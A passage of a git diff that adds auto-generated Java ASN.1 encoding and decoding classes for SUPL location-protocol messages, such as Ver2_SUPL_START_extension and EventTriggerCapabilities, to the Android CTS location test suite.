+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKey : "
+ + getSPCSETKey().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCTID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCTID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCTIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCTID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCTID : "
+ + getSPCTID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKeylifetime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKeylifetime();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeylifetimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKeylifetime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKeylifetime : "
+ + getSPCSETKeylifetime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getInitialApproximateposition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getInitialApproximateposition();
+ }
+
+ @Override public void setToNewInstance() {
+ setInitialApproximatepositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "initialApproximateposition : "
+ + getInitialApproximateposition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssPosTechnology() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssPosTechnology();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssPosTechnologyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssPosTechnology : "
+ + getGnssPosTechnology().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_RESPONSE_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
new file mode 100755
index 0000000..719a8c1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/Ver2_SUPL_START_extension.java
@@ -0,0 +1,408 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ApplicationID;
+import android.location.cts.asn1.supl2.ver2_ulp_components.MultipleLocationIds;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ThirdParty;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPL_START_extension extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPL_START_extension
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPL_START_extension() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPL_START_extension;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPL_START_extension != null) {
+ return ImmutableList.of(TAG_Ver2_SUPL_START_extension);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_START_extension from encoded stream.
+ */
+ public static Ver2_SUPL_START_extension fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPL_START_extension result = new Ver2_SUPL_START_extension();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPL_START_extension from encoded stream.
+ */
+ public static Ver2_SUPL_START_extension fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPL_START_extension result = new Ver2_SUPL_START_extension();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MultipleLocationIds multipleLocationIds_;
+ public MultipleLocationIds getMultipleLocationIds() {
+ return multipleLocationIds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleLocationIds
+ */
+ public void setMultipleLocationIds(Asn1Object value) {
+ this.multipleLocationIds_ = (MultipleLocationIds) value;
+ }
+ public MultipleLocationIds setMultipleLocationIdsToNewInstance() {
+ multipleLocationIds_ = new MultipleLocationIds();
+ return multipleLocationIds_;
+ }
+
+ private ThirdParty thirdParty_;
+ public ThirdParty getThirdParty() {
+ return thirdParty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ThirdParty
+ */
+ public void setThirdParty(Asn1Object value) {
+ this.thirdParty_ = (ThirdParty) value;
+ }
+ public ThirdParty setThirdPartyToNewInstance() {
+ thirdParty_ = new ThirdParty();
+ return thirdParty_;
+ }
+
+ private ApplicationID applicationID_;
+ public ApplicationID getApplicationID() {
+ return applicationID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID
+ */
+ public void setApplicationID(Asn1Object value) {
+ this.applicationID_ = (ApplicationID) value;
+ }
+ public ApplicationID setApplicationIDToNewInstance() {
+ applicationID_ = new ApplicationID();
+ return applicationID_;
+ }
+
+ private Position position_;
+ public Position getPosition() {
+ return position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setPosition(Asn1Object value) {
+ this.position_ = (Position) value;
+ }
+ public Position setPositionToNewInstance() {
+ position_ = new Position();
+ return position_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMultipleLocationIds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMultipleLocationIds();
+ }
+
+ @Override public void setToNewInstance() {
+ setMultipleLocationIdsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleLocationIds.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multipleLocationIds : "
+ + getMultipleLocationIds().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getThirdParty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getThirdParty();
+ }
+
+ @Override public void setToNewInstance() {
+ setThirdPartyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdParty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "thirdParty : "
+ + getThirdParty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getApplicationID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApplicationID();
+ }
+
+ @Override public void setToNewInstance() {
+ setApplicationIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "applicationID : "
+ + getApplicationID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "position : "
+ + getPosition().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPL_START_extension = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
new file mode 100755
index 0000000..c14ae32
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/DGANSS_Sig_Id_Req.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class DGANSS_Sig_Id_Req extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_DGANSS_Sig_Id_Req
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public DGANSS_Sig_Id_Req() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_DGANSS_Sig_Id_Req;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_DGANSS_Sig_Id_Req != null) {
+ return ImmutableList.of(TAG_DGANSS_Sig_Id_Req);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new DGANSS_Sig_Id_Req from encoded stream.
+ */
+ public static DGANSS_Sig_Id_Req fromPerUnaligned(byte[] encodedBytes) {
+ DGANSS_Sig_Id_Req result = new DGANSS_Sig_Id_Req();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new DGANSS_Sig_Id_Req from encoded stream.
+ */
+ public static DGANSS_Sig_Id_Req fromPerAligned(byte[] encodedBytes) {
+ DGANSS_Sig_Id_Req result = new DGANSS_Sig_Id_Req();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "DGANSS_Sig_Id_Req = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
new file mode 100755
index 0000000..68ab5a5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/EventTriggerCapabilities.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class EventTriggerCapabilities extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_EventTriggerCapabilities
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EventTriggerCapabilities() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EventTriggerCapabilities;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EventTriggerCapabilities != null) {
+ return ImmutableList.of(TAG_EventTriggerCapabilities);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new EventTriggerCapabilities from encoded stream.
+ */
+ public static EventTriggerCapabilities fromPerUnaligned(byte[] encodedBytes) {
+ EventTriggerCapabilities result = new EventTriggerCapabilities();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EventTriggerCapabilities from encoded stream.
+ */
+ public static EventTriggerCapabilities fromPerAligned(byte[] encodedBytes) {
+ EventTriggerCapabilities result = new EventTriggerCapabilities();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GeoAreaShapesSupported geoAreaShapesSupported_;
+ public GeoAreaShapesSupported getGeoAreaShapesSupported() {
+ return geoAreaShapesSupported_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GeoAreaShapesSupported
+ */
+ public void setGeoAreaShapesSupported(Asn1Object value) {
+ this.geoAreaShapesSupported_ = (GeoAreaShapesSupported) value;
+ }
+ public GeoAreaShapesSupported setGeoAreaShapesSupportedToNewInstance() {
+ geoAreaShapesSupported_ = new GeoAreaShapesSupported();
+ return geoAreaShapesSupported_;
+ }
+
+ private EventTriggerCapabilities.maxNumGeoAreaSupportedType maxNumGeoAreaSupported_;
+ public EventTriggerCapabilities.maxNumGeoAreaSupportedType getMaxNumGeoAreaSupported() {
+ return maxNumGeoAreaSupported_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EventTriggerCapabilities.maxNumGeoAreaSupportedType
+ */
+ public void setMaxNumGeoAreaSupported(Asn1Object value) {
+ this.maxNumGeoAreaSupported_ = (EventTriggerCapabilities.maxNumGeoAreaSupportedType) value;
+ }
+ public EventTriggerCapabilities.maxNumGeoAreaSupportedType setMaxNumGeoAreaSupportedToNewInstance() {
+ maxNumGeoAreaSupported_ = new EventTriggerCapabilities.maxNumGeoAreaSupportedType();
+ return maxNumGeoAreaSupported_;
+ }
+
+ private EventTriggerCapabilities.maxAreaIdListSupportedType maxAreaIdListSupported_;
+ public EventTriggerCapabilities.maxAreaIdListSupportedType getMaxAreaIdListSupported() {
+ return maxAreaIdListSupported_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EventTriggerCapabilities.maxAreaIdListSupportedType
+ */
+ public void setMaxAreaIdListSupported(Asn1Object value) {
+ this.maxAreaIdListSupported_ = (EventTriggerCapabilities.maxAreaIdListSupportedType) value;
+ }
+ public EventTriggerCapabilities.maxAreaIdListSupportedType setMaxAreaIdListSupportedToNewInstance() {
+ maxAreaIdListSupported_ = new EventTriggerCapabilities.maxAreaIdListSupportedType();
+ return maxAreaIdListSupported_;
+ }
+
+ private EventTriggerCapabilities.maxAreaIdSupportedPerListType maxAreaIdSupportedPerList_;
+ public EventTriggerCapabilities.maxAreaIdSupportedPerListType getMaxAreaIdSupportedPerList() {
+ return maxAreaIdSupportedPerList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EventTriggerCapabilities.maxAreaIdSupportedPerListType
+ */
+ public void setMaxAreaIdSupportedPerList(Asn1Object value) {
+ this.maxAreaIdSupportedPerList_ = (EventTriggerCapabilities.maxAreaIdSupportedPerListType) value;
+ }
+ public EventTriggerCapabilities.maxAreaIdSupportedPerListType setMaxAreaIdSupportedPerListToNewInstance() {
+ maxAreaIdSupportedPerList_ = new EventTriggerCapabilities.maxAreaIdSupportedPerListType();
+ return maxAreaIdSupportedPerList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGeoAreaShapesSupported() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGeoAreaShapesSupported();
+ }
+
+ @Override public void setToNewInstance() {
+ setGeoAreaShapesSupportedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GeoAreaShapesSupported.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "geoAreaShapesSupported : "
+ + getGeoAreaShapesSupported().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxNumGeoAreaSupported() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxNumGeoAreaSupported();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxNumGeoAreaSupportedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EventTriggerCapabilities.maxNumGeoAreaSupportedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxNumGeoAreaSupported : "
+ + getMaxNumGeoAreaSupported().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxAreaIdListSupported() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxAreaIdListSupported();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxAreaIdListSupportedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EventTriggerCapabilities.maxAreaIdListSupportedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxAreaIdListSupported : "
+ + getMaxAreaIdListSupported().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getMaxAreaIdSupportedPerList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMaxAreaIdSupportedPerList();
+ }
+
+ @Override public void setToNewInstance() {
+ setMaxAreaIdSupportedPerListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EventTriggerCapabilities.maxAreaIdSupportedPerListType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "maxAreaIdSupportedPerList : "
+ + getMaxAreaIdSupportedPerList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class maxNumGeoAreaSupportedType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_maxNumGeoAreaSupportedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public maxNumGeoAreaSupportedType() {
+ super();
+ setValueRange("0", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_maxNumGeoAreaSupportedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_maxNumGeoAreaSupportedType != null) {
+ return ImmutableList.of(TAG_maxNumGeoAreaSupportedType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new maxNumGeoAreaSupportedType from encoded stream.
+ */
+ public static maxNumGeoAreaSupportedType fromPerUnaligned(byte[] encodedBytes) {
+ maxNumGeoAreaSupportedType result = new maxNumGeoAreaSupportedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new maxNumGeoAreaSupportedType from encoded stream.
+ */
